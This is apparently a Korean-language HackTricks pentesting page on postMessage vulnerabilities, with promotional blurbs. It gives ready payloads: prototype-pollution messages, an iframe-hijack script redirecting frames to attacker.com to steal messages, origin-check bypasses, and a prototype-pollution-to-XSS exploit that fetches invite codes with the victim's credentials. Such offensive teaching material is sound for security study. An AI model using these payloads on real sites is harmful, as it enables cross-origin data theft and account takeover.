PostMessage Vulnerabilities

PostMessage 취약점

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

WhiteIntel다크 웹을 활용한 검색 엔진으로, 회사나 그 고객이 스틸러 악성 코드에 의해 침해당했는지 무료로 확인할 수 있는 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 엔진을 무료로 시험해 볼 수 있습니다:


PostMessage 보내기

PostMessage는 다음 함수를 사용하여 메시지를 보냅니다:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

targetOrigin이 '*' 또는 _https://company.com._과 같은 URL일 수 있다는 점에 유의하십시오. 두 번째 시나리오에서는 메시지가 해당 도메인으로만 전송될 수 있습니다(창 객체의 출처가 다른 경우에도 해당). 와일드카드를 사용하면 메시지가 모든 도메인으로 전송될 수 있으며 창 객체의 출처로 전송됩니다.

targetOrigin에서 iframe 및 와일드카드 공격

이 보고서에서 설명한 대로, X-Frame-Header 보호가 없는 페이지를 찾고, 와일드카드(*)를 사용하여 postMessage를 통해 민감한 메시지를 보내는 페이지를 iframed할 수 있다면, iframe출처를 수정하여 민감한 메시지를 제어하는 도메인으로 유출할 수 있습니다. 페이지가 iframed될 수 있지만 targetOriginURL로 설정되어 와일드카드가 아닌 경우, 이 트릭은 작동하지 않습니다.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener 악용

**addEventListener**은 JS에서 postMessages를 기대하는 함수를 선언하는 데 사용됩니다. 다음과 유사한 코드가 사용될 것입니다:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

이 경우에 코드가 하는 첫 번째 작업출처를 확인하는 것에 주목하세요. 이는 페이지가 수신된 정보로 민감한 작업을 수행할 경우 (예: 비밀번호 변경) 매우 중요합니다. 출처를 확인하지 않으면 공격자가 희생자에게 임의의 데이터를 이 엔드포인트로 보내도록 만들어 희생자의 비밀번호를 변경할 수 있습니다 (이 예시에서).

열거

현재 페이지에서 이벤트 리스너를 찾으려면 다음을 수행할 수 있습니다:

  • JS 코드에서 window.addEventListener$(window).on (JQuery 버전)를 검색

  • 개발자 도구 콘솔에서 다음을 실행: getEventListeners(window)

  • 브라우저의 개발자 도구에서 _요소 --> 이벤트 리스너_로 이동

출처 확인 우회

  • event.isTrusted 속성은 진정한 사용자 작업에서만 True를 반환하므로 안전하다고 간주됩니다. 올바르게 구현된 경우 우회하기 어렵지만, 보안 검사에서의 중요성은 주목할 만합니다.

  • PostMessage 이벤트에서 출처 유효성을 검사하기 위해 indexOf() 사용은 우회 가능할 수 있습니다. 이 취약점을 설명하는 예시는 다음과 같습니다:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search()search() 메서드는 정규 표현식을 위해 의도되었지만 문자열에 사용될 경우 우회 가능성이 있습니다. 정규 표현식이 아닌 것을 전달하면 암시적으로 정규 표현식으로 변환되어 메서드가 잠재적으로 안전하지 않게 됩니다. 이는 정규 표현식에서 마침표(.)가 와일드카드로 작동하기 때문에 특수하게 설계된 도메인으로 유효성 검사를 우회할 수 있습니다. 예를 들어:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • search()와 유사한 match() 함수는 정규 표현식을 처리합니다. 정규 표현식이 부적절하게 구성된 경우 우회 가능성이 있습니다.

  • escapeHtml 함수는 문자를 이스케이프하여 입력을 살균하는 데 사용됩니다. 그러나 새로운 이스케이프된 객체를 생성하지 않고 기존 객체의 속성을 덮어쓰므로 이 동작은 악용될 수 있습니다. 특히, 객체가 조작되어 제어되는 속성이 hasOwnProperty를 인식하지 않는다면 escapeHtml은 예상대로 작동하지 않을 수 있습니다. 아래 예시에서 확인할 수 있습니다:

  • 예상한 실패:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • 이스케이프 우회:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

이 취약점의 맥락에서 File 객체는 읽기 전용 name 속성으로 인해 주목할 만한 취약점이 있습니다. 이 속성은 템플릿에서 사용될 때 escapeHtml 함수에 의해 살균되지 않아 잠재적인 보안 위험을 초래할 수 있습니다.

  • JavaScript의 document.domain 속성은 도메인을 단축하기 위해 스크립트에 의해 설정될 수 있으며, 동일한 부모 도메인 내에서 보다 유연한 동일 출처 정책 적용을 허용합니다.

e.origin == window.origin 우회

%%%%%%를 사용하여 샌드박스 iframe에 웹 페이지를 임베드할 때, iframe의 출처가 null로 설정됨을 이해하는 것이 중요합니다. 이는 sandbox 속성 및 보안 및 기능에 대한 영향을 고려할 때 특히 중요합니다.

sandbox 속성에 **allow-popups**를 지정하면 iframe 내에서 열린 팝업 창은 부모의 샌드박스 제한을 상속합니다. 이는 팝업 창의 출처가 null로 설정되어 있으므로 iframe의 출처와 일치하게 됩니다. 이러한 조건에서 팝업이 열리고 iframe에서 팝업으로 **postMessage**를 통해 메시지를 보낼 때, 보내는 쪽과 받는 쪽의 출처가 모두 null로 설정됩니다. 이 상황에서는 iframe과 팝업이 모두 null의 동일한 출처 값을 가지므로 **e.origin == window.origin**이 true로 평가됩니다 (null == null).

더 많은 정보를 원하시면 다음을 읽으세요:

pageBypassing SOP with Iframes - 1

e.source 우회

메시지가 스크립트가 청취 중인 동일한 창에서 왔는지 확인하는 것이 가능합니다 (특히 브라우저 확장 프로그램의 콘텐츠 스크립트에서 특히 흥미로운 경우 페이지에서 보낸 메시지인지 확인하기 위해):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

메시지의 **e.source**를 null로 강제할 수 있습니다. 이를 위해 **postMessage**를 보내고 즉시 삭제되는 iframe을 생성합니다.

자세한 정보는 다음을 참조하십시오:

pageBypassing SOP with Iframes - 2

X-Frame-Header 우회

이러한 공격을 수행하려면 이상적으로 피해자 웹 페이지iframe 안에 넣을 수 있어야 합니다. 그러나 X-Frame-Header와 같은 일부 헤더는 그 동작을 방지할 수 있습니다. 이러한 시나리오에서는 덜 은밀한 공격을 사용할 수 있습니다. 취약한 웹 응용 프로그램으로 새 탭을 열고 통신할 수 있습니다:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

메인 페이지 차단을 통한 자식에게 보낸 메시지 도용

다음 페이지에서는 주요 페이지를 차단하여 데이터를 보내기 전에 주요 페이지를 차단하고 자식 iframe로 전송된 민감한 postmessage 데이터를 도용하고 자식의 XSS를 악용하여 데이터가 수신되기 전에 데이터를 노출하는 방법을 볼 수 있습니다:

pageBlocking main page to steal postmessage

iframe 위치 수정을 통한 메시지 도용

다른 iframe을 포함하는 X-Frame-Header가 없는 웹페이지를 iframe으로 사용할 수 있다면, 해당 자식 iframe의 위치를 변경할 수 있으므로, 와일드카드를 사용하여 보낸 postmessage를 수신하는 경우, 공격자는 해당 iframe 원본을 자신이 제어하는 페이지로 변경하여 메시지를 도용할 수 있습니다:

pageSteal postmessage modifying iframe location

postMessage를 통한 Prototype Pollution 및/또는 XSS

postMessage를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는 페이지를 iframe으로 사용하고 prototype pollution/XSS를 악용하여 exploit을 postMessage를 통해 전송할 수 있습니다.

postMessage를 통해 매우 잘 설명된 XSS의 몇 가지 예는 https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html에서 찾을 수 있습니다.

iframepostMessage를 통해 Prototype Pollution을 악용한 후 XSS를 악용하는 exploit 예시:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

더 많은 정보:

참고 자료

WhiteIntel다크 웹을 기반으로 한 검색 엔진으로, 회사나 그 고객이 스틸러 악성 코드에 의해 침해당했는지 무료 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격에 대항하는 것입니다.

그들의 웹사이트를 방문하여 엔진을 무료로 사용해 볼 수 있습니다:

**htARTE (HackTricks AWS Red Team Expert)**와 함께 **제로부터 AWS 해킹을 전문가로 배우세요**!

HackTricks를 지원하는 다른 방법:

Last updated